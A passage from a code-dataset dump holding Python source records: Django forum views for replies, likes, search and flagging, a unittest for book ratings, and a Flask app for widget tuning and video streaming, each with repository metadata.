can_create_reply=request.user.has_perm(\"forums.add_forumreply\",obj=thread)\n\n if not can_create_reply:\n return HttpResponse('no_perm')\n\n post=ForumReply(content=content)\n post.author=request.user\n post.thread=thread\n\n post.save()\n\n if subscription==\"yes\":\n thread.subscribe(post.author, 'email')\n\n thread.subscribe(post.author, 'onsite')\n\n\n context={\n 'post': post,\n 'thread': thread,\n 'member': request.user\n }\n\n return render(request, 'forums/post.html', context)\n else:\n return HttpResponse(\"method_not_allowed\")\n\n@login_required\ndef post_edit(request, post_kind, post_id):\n\n if post_kind == \"thread\":\n post = get_object_or_404(ForumThread, id=post_id)\n thread_id = post.id\n form_class = ThreadForm\n elif post_kind == \"reply\":\n post = get_object_or_404(ForumReply, id=post_id)\n thread_id = post.thread.id\n form_class = ReplyForm\n else:\n raise Http404()\n print(\"not found\")\n\n if not post.editable(request.user):\n print(\"not editable\")\n raise Http404()\n\n if request.method == \"POST\":\n form = form_class(request.POST, instance=post, no_subscribe=True)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse(\"forums:forums_thread\", args=[thread_id]))\n else:\n form = form_class(instance=post, no_subscribe=True)\n\n return render(request, \"forums/post_edit.html\", {\n \"post\": post,\n \"form\": form,\n })\n\n\n@login_required\ndef subscribe(request, thread_id):\n user = request.user\n thread = get_object_or_404(ForumThread, pk=thread_id)\n if request.method == \"POST\":\n thread.subscribe(user, \"email\")\n return HttpResponseRedirect(reverse(\"forums_thread\", args=[thread_id]))\n else:\n ctx = RequestContext(request, {\"thread\": thread})\n return render(request, \"forums/subscribe.html\", ctx)\n\n\n@login_required\ndef unsubscribe(request, thread_id):\n user = request.user\n thread = get_object_or_404(ForumThread, pk=thread_id)\n\n if request.method == \"POST\":\n thread.unsubscribe(user, \"email\")\n return HttpResponseRedirect(reverse(\"forums_thread\", args=[thread_id]))\n else:\n ctx = RequestContext(request, {\"thread\": thread})\n return render(request, \"forums/unsubscribe.html\", ctx)\n\n\n@login_required\ndef thread_updates(request):\n subscriptions = ThreadSubscription.objects.filter(user=request.user, kind=\"onsite\")\n subscriptions = subscriptions.select_related(\"thread\", \"user\")\n subscriptions = subscriptions.order_by(\"-thread__last_modified\")\n\n if request.method == \"POST\":\n subscriptions.filter(pk=request.POST[\"thread_id\"]).delete()\n\n ctx = {\n \"subscriptions\": subscriptions,\n }\n ctx = RequestContext(request, ctx)\n return render(request, \"forums/thread_updates.html\", ctx)\n\ndef likes(request):\n if request.method==\"POST\":\n post_id=request.POST['post_id']\n post_kind=request.POST['post_kind']\n\n post=None\n if post_kind==\"thread\":\n post=get_object_or_404(ForumThread, pk=post_id)\n elif post_kind==\"reply\":\n post=get_object_or_404(ForumReply, pk=post_id)\n\n current_user=get_object_or_404(User, username=request.user.username)\n\n context={}\n if post and current_user:\n if post.users_liked.filter(username=current_user.username).exists():\n post.likes-=1\n post.users_liked.remove(current_user)\n if post.likes<0:\n post.likes=0\n post.like_color = 'gray'\n post.save()\n\n else:\n post.likes+=1\n post.users_liked.add(current_user)\n post.like_color = 'green'\n post.save()\n\n\n context['post']=post\n\n return render(request, 'forums/likes.html', context)\n\n else:\n return HttpResponse(\"You can not like this post\")\n\n\ndef Search(request):\n return render(request, 'forums/search_forum.html', {})\n\ndef ajax_search(request):\n context={}\n if request.method==\"POST\":\n query=request.POST['search']\n post=request.POST['post']\n category=request.POST['category']\n forum=request.POST['forum']\n\n print(post)\n print(category)\n print(forum)\n\n if query=='':\n return HttpResponse('must_enter_search_term')\n if post=='no' and category=='no' and forum=='no':\n forums = Forum.objects.filter(title__icontains=query)\n context['forums'] = forums\n\n print(forums)\n\n categories = ForumCategory.objects.filter(title__icontains=query)\n context['categories'] = categories\n\n print(categories)\n\n posts = ForumThread.objects.filter(title__icontains=query)\n context['posts'] = posts\n\n elif category=='yes' and forum=='no' and post=='no':\n categories=ForumCategory.objects.filter(title__icontains=query)\n context['categories']=categories\n\n elif category=='no' and forum=='yes' and post=='no':\n forums = Forum.objects.filter(title__icontains=query)\n context['forums'] = forums\n\n elif category=='no' and forum=='no' and post=='yes':\n posts = ForumThread.objects.filter(title__icontains=query)\n context['posts'] =posts\n\n\n elif category=='yes' and forum=='yes' and post=='no':\n categories = ForumCategory.objects.filter(title__icontains=query)\n context['categories'] = categories\n\n forums = Forum.objects.filter(title__icontains=query)\n context['forums'] = forums\n\n elif category=='yes' and forum=='no' and post=='yes':\n categories = ForumCategory.objects.filter(title__icontains=query)\n context['categories'] = categories\n\n posts = ForumThread.objects.filter(title__icontains=query)\n context['posts'] = posts\n\n\n elif category=='no' and forum=='yes' and post=='yes':\n forums = Forum.objects.filter(title__icontains=query)\n context['forums'] = forums\n\n posts = ForumThread.objects.filter(title__icontains=query)\n context['posts'] = posts\n\n elif category=='yes' and forum=='yes' and post=='yes':\n\n forums = Forum.objects.filter(title__icontains=query)\n context['forums'] = forums\n\n print(forums)\n\n categories = ForumCategory.objects.filter(title__icontains=query)\n context['categories'] = categories\n\n print(categories)\n\n posts = ForumThread.objects.filter(title__icontains=query)\n context['posts'] = posts\n\n return render(request, 'forums/ajax_search_forum.html', context)\n else:\n return HttpResponse(\"method_not_allowed\")\n\ndef ajax_flag(request):\n context={}\n if request.method==\"POST\":\n req=request.POST\n\n post=None\n post_id=int(req['post_id'])\n post_kind=req['post_kind']\n\n if post_kind=='reply':\n post=get_object_or_404(ForumReply, pk=post_id)\n if post_kind=='thread':\n post=get_object_or_404(ForumThread, pk=post_id)\n\n if post.flagged==True:\n return HttpResponse(\"already_flagged\")\n\n else:\n username=request.user.username\n subject=\"Flagging\"\n message=username+\" has flagged [\"+ post.content + \"] as inappropriate\"\n\n print (subject)\n print (message)\n\n post.flag_color=\"red\"\n post.flagged=True\n\n post.save()\n\n context['post']=post\n\n return render(request, 'forums/flag.html', context)\n", "repo_name": "ateol/janjaz", "sub_path": "forums/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 15995, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "forums.models.ForumCategory.objects.filter", "line_number": 24, "usage_type": "call"}, {"api_name": "forums.models.ForumCategory.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "forums.models.ForumCategory", "line_number": 24, "usage_type": "name"}, {"api_name": "forums.models.Forum.objects.order_by", "line_number": 33, "usage_type": "call"}, {"api_name": "forums.models.Forum.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "forums.models.Forum", "line_number": 33, "usage_type": "name"}, {"api_name": "forums.models.Forum.objects.order_by", "line_number": 34, "usage_type": "call"}, {"api_name": "forums.models.Forum.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "forums.models.Forum", "line_number": 34, "usage_type": "name"}, {"api_name": "forums.models.UserPostCount.objects.order_by", "line_number": 35, "usage_type": "call"}, {"api_name": "forums.models.UserPostCount.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "forums.models.UserPostCount", "line_number": 35, "usage_type": "name"}, {"api_name": "forums.models.ForumReply.objects.order_by", "line_number": 37, "usage_type": "call"}, {"api_name": "forums.models.ForumReply.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "forums.models.ForumReply", "line_number": 37, "usage_type": "name"}, {"api_name": "forums.models.ForumThread.objects.order_by", "line_number": 38, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 38, "usage_type": "name"}, {"api_name": "forums.models.ForumThread.objects.order_by", "line_number": 39, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 39, "usage_type": "name"}, {"api_name": "forums.models.ForumThread.objects.order_by", "line_number": 40, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 40, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 57, "usage_type": "call"}, {"api_name": "forums.models.ForumCategory", "line_number": 57, "usage_type": "argument"}, {"api_name": "forums.models", "line_number": 58, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 60, "usage_type": "call"}, {"api_name": "forums.models", "line_number": 62, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 68, "usage_type": "call"}, {"api_name": "forums.models.Forum", "line_number": 68, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 83, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects.select_related", "line_number": 94, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 94, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 94, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 95, "usage_type": "call"}, {"api_name": "forums.forms.ReplyForm", "line_number": 107, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 123, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 123, "usage_type": "call"}, {"api_name": "forums.forms.ReplyForm", "line_number": 125, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects.posts", "line_number": 130, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 130, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 130, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 134, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 149, "usage_type": "call"}, {"api_name": "forums.models.Forum", "line_number": 149, "usage_type": "argument"}, {"api_name": "django.contrib.messages.error", "line_number": 153, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 153, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 154, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 154, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 160, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 160, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 161, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 161, "usage_type": "call"}, {"api_name": "forums.forms.ThreadForm", "line_number": 164, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 178, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 178, "usage_type": "call"}, {"api_name": "forums.forms.ThreadForm", "line_number": 180, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 182, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 145, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 193, "usage_type": "call"}, {"api_name": "forums.models.ForumThread", "line_number": 193, "usage_type": "argument"}, {"api_name": "django.contrib.messages.error", "line_number": 196, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 196, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 197, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 197, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 202, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 202, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 203, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 203, "usage_type": "call"}, {"api_name": "forums.forms.ReplyForm", "line_number": 206, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 220, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 220, "usage_type": "call"}, {"api_name": "forums.models.ForumReply.objects.get", "line_number": 226, "usage_type": "call"}, {"api_name": "forums.models.ForumReply.objects", "line_number": 226, "usage_type": "attribute"}, {"api_name": "forums.models.ForumReply", "line_number": 226, "usage_type": "name"}, {"api_name": "forums.forms.ReplyForm", "line_number": 229, "usage_type": "call"}, {"api_name": "forums.models.ForumReply.objects.filter", "line_number": 231, "usage_type": "call"}, {"api_name": "forums.models.ForumReply.objects", "line_number": 231, "usage_type": "attribute"}, {"api_name": "forums.models.ForumReply", "line_number": 231, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 233, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 189, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 250, "usage_type": "call"}, {"api_name": "forums.models.ForumThread", "line_number": 250, "usage_type": "argument"}, {"api_name": "django.http.HttpResponse", "line_number": 254, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 257, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 262, "usage_type": "call"}, {"api_name": "forums.models.ForumReply", "line_number": 264, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 282, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 284, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 290, "usage_type": "call"}, {"api_name": "forums.models.ForumThread", "line_number": 290, "usage_type": "argument"}, {"api_name": "forums.forms.ThreadForm", "line_number": 292, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 294, "usage_type": "call"}, {"api_name": "forums.models.ForumReply", "line_number": 294, "usage_type": "argument"}, {"api_name": "forums.forms.ReplyForm", "line_number": 296, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 298, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 303, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 309, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 309, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 313, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 286, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 322, "usage_type": "call"}, {"api_name": "forums.models.ForumThread", "line_number": 322, "usage_type": "argument"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 325, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 325, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 327, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 328, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 319, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 334, "usage_type": "call"}, {"api_name": "forums.models.ForumThread", "line_number": 334, "usage_type": "argument"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 338, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 338, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 340, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 341, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 331, "usage_type": "name"}, {"api_name": "forums.models.ThreadSubscription.objects.filter", "line_number": 346, "usage_type": "call"}, {"api_name": "forums.models.ThreadSubscription.objects", "line_number": 346, "usage_type": "attribute"}, {"api_name": "forums.models.ThreadSubscription", "line_number": 346, "usage_type": "name"}, {"api_name": "django.template.RequestContext", "line_number": 356, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 357, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 344, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 366, "usage_type": "call"}, {"api_name": "forums.models.ForumThread", "line_number": 366, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 368, "usage_type": "call"}, {"api_name": "forums.models.ForumReply", "line_number": 368, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 370, "usage_type": "call"}, {"api_name": "forums.models.User", "line_number": 370, "usage_type": "argument"}, {"api_name": "django.shortcuts.render", "line_number": 391, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 394, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 398, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 413, "usage_type": "call"}, {"api_name": "forums.models", "line_number": 415, "usage_type": "name"}, {"api_name": "forums.models.Forum.objects.filter", "line_number": 415, "usage_type": "call"}, {"api_name": "forums.models.Forum.objects", "line_number": 415, "usage_type": "attribute"}, {"api_name": "forums.models.Forum", "line_number": 415, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 416, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 418, "usage_type": "argument"}, {"api_name": "forums.models.ForumCategory.objects.filter", "line_number": 420, "usage_type": "call"}, {"api_name": "forums.models.ForumCategory.objects", "line_number": 420, "usage_type": "attribute"}, {"api_name": "forums.models.ForumCategory", "line_number": 420, "usage_type": "name"}, {"api_name": "forums.models.ForumThread.objects.filter", "line_number": 425, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 425, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 425, "usage_type": "name"}, {"api_name": "forums.models.ForumCategory.objects.filter", "line_number": 429, "usage_type": "call"}, {"api_name": "forums.models.ForumCategory.objects", "line_number": 429, "usage_type": "attribute"}, {"api_name": "forums.models.ForumCategory", "line_number": 429, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 433, "usage_type": "name"}, {"api_name": "forums.models.Forum.objects.filter", "line_number": 433, "usage_type": "call"}, {"api_name": "forums.models.Forum.objects", "line_number": 433, "usage_type": "attribute"}, {"api_name": "forums.models.Forum", "line_number": 433, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 434, "usage_type": "name"}, {"api_name": "forums.models.ForumThread.objects.filter", "line_number": 437, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 437, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 437, "usage_type": "name"}, {"api_name": "forums.models.ForumCategory.objects.filter", "line_number": 442, "usage_type": "call"}, {"api_name": "forums.models.ForumCategory.objects", "line_number": 442, "usage_type": "attribute"}, {"api_name": "forums.models.ForumCategory", "line_number": 442, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 445, "usage_type": "name"}, {"api_name": "forums.models.Forum.objects.filter", "line_number": 445, "usage_type": "call"}, {"api_name": "forums.models.Forum.objects", "line_number": 445, "usage_type": "attribute"}, {"api_name": "forums.models.Forum", "line_number": 445, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 446, "usage_type": "name"}, {"api_name": "forums.models.ForumCategory.objects.filter", "line_number": 449, "usage_type": "call"}, {"api_name": "forums.models.ForumCategory.objects", "line_number": 449, "usage_type": "attribute"}, {"api_name": "forums.models.ForumCategory", "line_number": 449, "usage_type": "name"}, {"api_name": "forums.models.ForumThread.objects.filter", "line_number": 452, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 452, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 452, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 457, "usage_type": "name"}, {"api_name": "forums.models.Forum.objects.filter", "line_number": 457, "usage_type": "call"}, {"api_name": "forums.models.Forum.objects", "line_number": 457, "usage_type": "attribute"}, {"api_name": "forums.models.Forum", "line_number": 457, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 458, "usage_type": "name"}, {"api_name": "forums.models.ForumThread.objects.filter", "line_number": 460, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 460, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 460, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 465, "usage_type": "name"}, {"api_name": "forums.models.Forum.objects.filter", "line_number": 465, "usage_type": "call"}, {"api_name": "forums.models.Forum.objects", "line_number": 465, "usage_type": "attribute"}, {"api_name": "forums.models.Forum", "line_number": 465, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 466, "usage_type": "name"}, {"api_name": "forums.models", "line_number": 468, "usage_type": "argument"}, {"api_name": "forums.models.ForumCategory.objects.filter", "line_number": 470, "usage_type": "call"}, {"api_name": "forums.models.ForumCategory.objects", "line_number": 470, "usage_type": "attribute"}, {"api_name": "forums.models.ForumCategory", "line_number": 470, "usage_type": "name"}, {"api_name": "forums.models.ForumThread.objects.filter", "line_number": 475, "usage_type": "call"}, {"api_name": "forums.models.ForumThread.objects", "line_number": 475, "usage_type": "attribute"}, {"api_name": "forums.models.ForumThread", "line_number": 475, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 478, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 480, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 492, "usage_type": "call"}, {"api_name": "forums.models.ForumReply", "line_number": 492, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 494, "usage_type": "call"}, {"api_name": "forums.models.ForumThread", "line_number": 494, "usage_type": "argument"}, {"api_name": "django.http.HttpResponse", "line_number": 497, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 514, "usage_type": "call"}]} +{"seq_id": "43122994669", "text": "import datetime\nimport unittest\nfrom random import randint\n\nfrom app.main import db\nfrom app.main.models.book import Writer, Book, Rating\nfrom app.main.models.user import User\nfrom app.tests.base import BaseTestCase\n\n\nclass TestBookModel(BaseTestCase):\n\n def setUp(self):\n super().setUp()\n self.user = User(\n email='test@test.com',\n password='test',\n registered_on=datetime.datetime.utcnow()\n )\n db.session.add(self.user)\n self.book = Book(\n name='Test'\n )\n db.session.add(self.user)\n db.session.add(self.book)\n db.session.commit()\n self.ratings_len = 5\n self.ratings = [Rating(user_id=self.user.id, book_id=self.book.id, value=randint(1, 5))\n for _ in range(self.ratings_len)]\n db.session.add_all(self.ratings)\n for rating in self.ratings:\n self.book.add_rating_count()\n self.book.add_rating_sum(rating.value)\n db.session.add(self.book)\n db.session.commit()\n\n def test_ratings_value(self):\n avg = sum(rating.value for rating in self.ratings) / self.ratings_len\n self.assertEqual(self.book.rating, avg)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "repo_name": "DanilXO/bookapp", "sub_path": "app/tests/test_book_model.py", "file_name": "test_book_model.py", "file_ext": "py", "file_size_in_byte": 1266, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "app.tests.base.BaseTestCase", "line_number": 11, "usage_type": "name"}, {"api_name": "app.main.models.user.User", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "attribute"}, {"api_name": "app.main.db.session.add", "line_number": 20, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 20, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 20, "usage_type": "name"}, {"api_name": "app.main.models.book.Book", "line_number": 21, "usage_type": "call"}, {"api_name": "app.main.db.session.add", "line_number": 24, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 24, "usage_type": "name"}, {"api_name": "app.main.db.session.add", "line_number": 25, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 25, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 25, "usage_type": "name"}, {"api_name": "app.main.db.session.commit", "line_number": 26, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 26, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 26, "usage_type": "name"}, {"api_name": "app.main.models.book.Rating", "line_number": 28, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 28, "usage_type": "call"}, {"api_name": "app.main.db.session.add_all", "line_number": 30, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 30, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 30, "usage_type": "name"}, {"api_name": "app.main.db.session.add", "line_number": 34, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 34, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 34, "usage_type": "name"}, {"api_name": "app.main.db.session.commit", "line_number": 35, "usage_type": "call"}, {"api_name": "app.main.db.session", "line_number": 35, "usage_type": "attribute"}, {"api_name": "app.main.db", "line_number": 35, "usage_type": "name"}, {"api_name": "unittest.main", "line_number": 43, "usage_type": "call"}]} +{"seq_id": "25134429361", "text": "import time\nfrom flask import Flask, request, render_template, json\nfrom flask.wrappers import Response\nfrom typing import Generator, Union, cast\nimport cv2\nfrom collections import deque\nimport hashlib\n\nclass Widget:\n def __init__(self, name: str) -> None:\n self.name = name\n self.type = 0\n self.val = 0\n def setVal(self, val: int) -> None:\n self.val = val\n\nclass NumberWidget(Widget):\n def __init__(self, name: str, upper: int, lower: int = 0) -> None:\n super().__init__(name)\n self.type = 1\n self.lower = lower\n self.upper = upper\n\nclass CheckWidget(Widget):\n def __init__(self, name: str) -> None:\n super().__init__(name)\n self.type = 2\n\nclass OptionWidget(Widget):\n def __init__(self, name: str, options: list[str]) -> None:\n super().__init__(name)\n self.type = 3\n self.options = options\n\nclass VideoWidget(Widget):\n def __init__(self, name: str) -> None:\n super().__init__(name)\n self.type = 4\n self.val = vmg.register(name)\n def setVal(self, val: int) -> None:\n return # omit operation\n\nclass VideoManager:\n def __init__(self) -> None:\n self.fps = 60\n self.interval = 1 / self.fps\n self.default_img: bytes = cv2.imencode(\".jpeg\", cv2.imread(\"temp/34.jpg\"))[1].tobytes()\n self.queues: dict[int, deque] = {}\n self.times: dict[int, float] = {}\n @staticmethod\n def token(name: str) -> int:\n #return hashlib.md5(name.encode('utf-8')).hexdigest()\n return hash(name) % 2**31 # int32 # TODO: hash collision?\n def register(self, name: str) -> int:\n token = VideoManager.token(name)\n if token not in self.queues:\n q = deque()\n q.append(self.default_img)\n self.queues[token] = q\n self.times[token] = float()\n print(f\"Video Registration: {name} to {token}\")\n return token\n def release(self, token: int) -> None:\n del self.queues[token]\n del self.times[token]\n def push(self, token: int, data: bytes) -> None:\n self.queues[token].append(data)\n return\n def pop(self, token: int) -> bytes:\n q = self.queues[token]\n self.times[token] = time.time()\n data = q[0] if len(q) == 1 else q.popleft()\n tm = time.time()\n if tm - self.times[token] < self.interval:\n time.sleep(self.interval + self.times[token] - tm)\n self.times[token] = tm\n return data\n\ndef parse(obj: list[Union[str, int]]) -> Widget:\n if obj[0] == 1:\n assert isinstance(obj[1], str)\n assert isinstance(obj[2], int)\n assert isinstance(obj[3], int)\n return NumberWidget(obj[1], obj[2], obj[3])\n elif obj[0] == 2:\n assert isinstance(obj[1], str)\n return CheckWidget(obj[1])\n elif obj[0] == 3:\n assert all(isinstance(option, str) for option in obj[1:])\n options = cast(list[str], obj[1:])\n return OptionWidget(options[0], options[1:])\n elif obj[0] == 4:\n assert isinstance(obj[1], str)\n return VideoWidget(obj[1])\n else:\n raise ValueError(\"UnknownWidgetType\")\n\n\nvmg = VideoManager()\n\ntable: dict[str, list[Widget]] = {\n 'test': [NumberWidget('t1', 255), CheckWidget('t2'), OptionWidget('t3', ['a', 'b'])],\n 'another': [],\n 'vtest': [VideoWidget(\"v1\")]\n}\napp = Flask(\"Critical Tune\")\n\n@app.route('/')\n@app.route('/update')\ndef hello_world() -> str:\n return render_template('home.jinja', table=table.keys())\n\n@app.route('/update/', methods=['GET'])\ndef update(name: str) -> str:\n if name in table:\n return render_template('update.jinja', name=name, widgets=table[name], table=table.keys())\n else:\n return render_template('error.jinja', info='Unknown Name')\n #return render_template('error.jinja', info='Invalid Method')\n\n@app.route('/submit/', methods=['POST'])\ndef submit(name: str) -> Response:\n try:\n data = request.data\n data = data.decode()\n data = json.loads(data)\n assert len(data) == len(table[name])\n [widget.setVal(val) for val, widget in zip(data, table[name])]\n return Response(json.dumps({'success': True, 'time': time.asctime()}), 200, mimetype='application/json')\n except Exception as e:\n print(e)\n return Response(json.dumps({'success': False, 'errorinfo': str(e)}), 200, mimetype='application/json')\n\n@app.route('/register/', methods=['POST'])\ndef register(name: str) -> str:\n try:\n data = request.data\n data = data.decode()\n data = json.loads(data)\n print(data)\n n = int(data[0])\n widgets = [parse(obj) for obj in data[1:]]\n assert n == len(widgets)\n table[name] = widgets\n return get(name) # success\n except Exception as e:\n print(e)\n return '0'\n\n@app.route('/get/', methods=['GET'])\ndef get(name: str) -> str:\n try:\n widgets = table[name]\n res = ['1', str(len(widgets))]\n [res.append(str(widget.val)) for widget in widgets]\n res = ' '.join(res)\n return res # success\n except Exception as e:\n print(e)\n return '0'\n\n@app.route('/stream/')\ndef stream(token: str) -> Response:\n try:\n return Response(get_frame(int(token)), mimetype='multipart/x-mixed-replace; boundary=frame')\n #return Response(data, mimetype=\"image/jpeg\")\n except Exception as e:\n print(e)\n return Response(None, 404)\n\n@app.route('/publish/', methods=['POST'])\ndef publish(token: str) -> str:\n '''\n c++ user push image to server\n '''\n try:\n data = request.data\n vmg.push(int(token), data)\n return '1'\n except Exception as e:\n print(e)\n return '0'\n\ndef get_frame(token: int) -> Generator:\n while True:\n yield b'--frame\\r\\nContent-Type: image/jpeg\\r\\n\\r\\n%b\\r\\n' % (vmg.pop(token))\n\ndef add(name: str, widgets: list[Widget]) -> None:\n table[name] = widgets\n return\n\ndef run():\n app.run(debug=True)\n\nif __name__ == '__main__':\n run()", "repo_name": "Jerry-Terrasse/CriticalTune", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 